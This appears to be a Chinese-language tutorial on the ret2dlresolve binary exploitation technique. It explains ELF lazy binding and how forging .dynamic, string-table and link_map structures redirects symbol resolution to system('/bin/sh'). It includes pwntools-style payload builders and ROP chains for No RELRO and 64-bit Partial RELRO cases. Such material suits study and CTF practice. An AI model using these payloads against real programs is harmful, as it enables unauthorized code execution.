当栈溢出遇上No RELRO:一个ret2dlresolve利用的‘捷径’与64位下的‘坑’
深入解析ret2dlresolve攻击:从No RELRO到64位环境下的高级利用技巧
在二进制安全研究领域,ret2dlresolve攻击是一种无需泄露内存地址就能绕过ASLR保护的经典技术。本文将深入探讨这种攻击在不同编译选项下的实现差异,特别是No RELRO与Partial RELRO环境下的关键区别,以及32位与64位架构下的特殊考量。
1. ret2dlresolve攻击的核心原理
动态链接程序在首次调用外部函数时,会通过以下流程完成符号解析:
- 程序跳转到PLT表项
- PLT表项跳转到GOT表中存储的地址(初始时指向PLT中的下一条指令)
- 将reloc_arg(重定位偏移)压栈
- 跳转到PLT[0],执行
_dl_runtime_resolve(link_map, reloc_arg)
关键数据结构:
.rel.plt:包含Elf32_Rel结构体数组,每个元素描述一个需要重定位的函数.dynsym:包含Elf32_Sym结构体数组,存储符号信息.dynstr:存储函数名字符串
攻击者通过伪造这些数据结构,可以控制_dl_fixup函数的解析过程,最终实现任意函数调用。
2. No RELRO环境下的简化利用
当程序编译时使用-z norelro选项时,.dynamic节区是可写的,这为攻击者提供了极大的便利:
// .dynamic节区结构示例 Elf32_Dyn dynamic_section[] = { {DT_STRTAB, 0x08048278}, // 字符串表地址 {DT_SYMTAB, 0x080481d8}, // 符号表地址 // 其他动态节区条目... };No RELRO下的攻击步骤:
- 修改
.dynamic节区中的DT_STRTAB指针,使其指向攻击者控制的缓冲区 - 在可控区域构造伪造的字符串表,将目标函数名(如"write")替换为"system"
- 直接调用目标函数,触发解析过程
# No RELRO利用示例代码片段 fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00strlen\x00system\x00' payload = [ read_plt, # 调用read修改.dynamic pop_ret, # 返回地址 0, # 文件描述符 strtab_addr, # .dynamic中DT_STRTAB的地址 7, # 写入长度 fake_dynstr, # 伪造的字符串表内容 plt0, # 触发解析 reloc_arg, # 重定位参数 cmd_addr # system参数 ]这种方法的优势在于只需一次内存写操作即可完成攻击,不需要复杂的栈迁移或多阶段ROP链。
3. 32位与64位架构的关键差异
3.1 数据结构差异
32位ELF重定位项:
typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;64位ELF重定位项:
typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela;64位架构下增加了r_addend字段,且符号索引的计算方式变为r_info >> 32。
3.2 Partial RELRO下的特殊挑战
在64位Partial RELRO环境下,直接移植32位方法会遇到两个关键问题:
- st_other检查:
_dl_fixup会验证符号的st_other字段 - 版本号验证:会访问
vernum[ELFW(R_SYM)(reloc->r_info)],可能导致非法内存访问
绕过方案:
- 伪造
link_map结构,控制l_addr和符号的st_value - 确保
st_other不为0,跳过版本检查
def forge_linkmap(fake_addr, known_got, offset): # 构造伪造的link_map结构 payload = p64(offset & (2**64-1)) # l_addr payload += p64(0) # l_name payload += p64(fake_addr + 0x18) # DT_JMPREL payload += p64((fake_addr+0x30-offset) & (2**64-1)) # r_offset payload += p64(0x7) # r_info payload += p64(0) # r_addend payload += p64(0) # l_ns payload += p64(0) # payload += p64(known_got - 8) # DT_SYMTAB payload += b'/bin/sh\x00' # 命令字符串 payload = payload.ljust(0x68, b'A') payload += p64(fake_addr) # DT_STRTAB payload += p64(fake_addr + 0x38) # DT_SYMTAB payload = payload.ljust(0xf8, b'A') payload += p64(fake_addr + 8) # DT_JMPREL return payload4. 高级利用技巧:伪造link_map结构
在64位Partial RELRO环境下,完整的攻击流程如下:
准备阶段:
- 计算目标函数与已知函数的偏移(如
system与write) - 找到可写的内存区域(如.bss段)
- 计算目标函数与已知函数的偏移(如
构造伪造结构:
- 伪造
link_map结构,控制关键的l_info条目 - 设置
l_addr为函数偏移量 - 将
DT_SYMTAB指向已知函数的GOT表地址-8
- 伪造
执行攻击:
- 将伪造的结构写入内存
- 调用
_dl_runtime_resolve,传入伪造的link_map和reloc_arg
# 64位Partial RELRO完整利用示例 l_addr = libc.sym['system'] - libc.sym['write'] fake_linkmap = forge_linkmap(bss_stage, write_got, l_addr) rop_chain = [ pop_rdi, 0, pop_rsi, bss_stage, 0, read_plt, # 写入伪造的link_map pop_rdi, bss_stage + 0x48, # /bin/sh地址 plt_load, # 触发解析 bss_stage, # 伪造的link_map 0 # reloc_arg ]5. 防御措施与绕过思路
现代系统针对ret2dlresolve攻击采取了多种防护措施:
| 防护措施 | 影响 | 可能的绕过方式 |
|---|---|---|
| FULL RELRO | 禁用延迟绑定 | 需寻找其他漏洞 |
| 栈保护(Canary) | 阻止栈溢出 | 结合信息泄露或堆漏洞 |
| ASLR | 增加预测难度 | 结合信息泄露 |
| 现代glibc检查 | 增加伪造难度 | 更精确的结构伪造 |
在实际漏洞利用中,研究人员还发展出了以下高级技巧:
- 结合堆漏洞实现内存写操作
- 使用ROP链实现多阶段攻击
- 利用其他漏洞泄露关键地址信息
理解ret2dlresolve攻击的底层原理,不仅有助于漏洞利用开发,也能帮助安全人员设计更有效的防护方案。这种攻击技术展现了ELF动态链接机制的灵活性,同时也提醒我们安全边界的重要性。
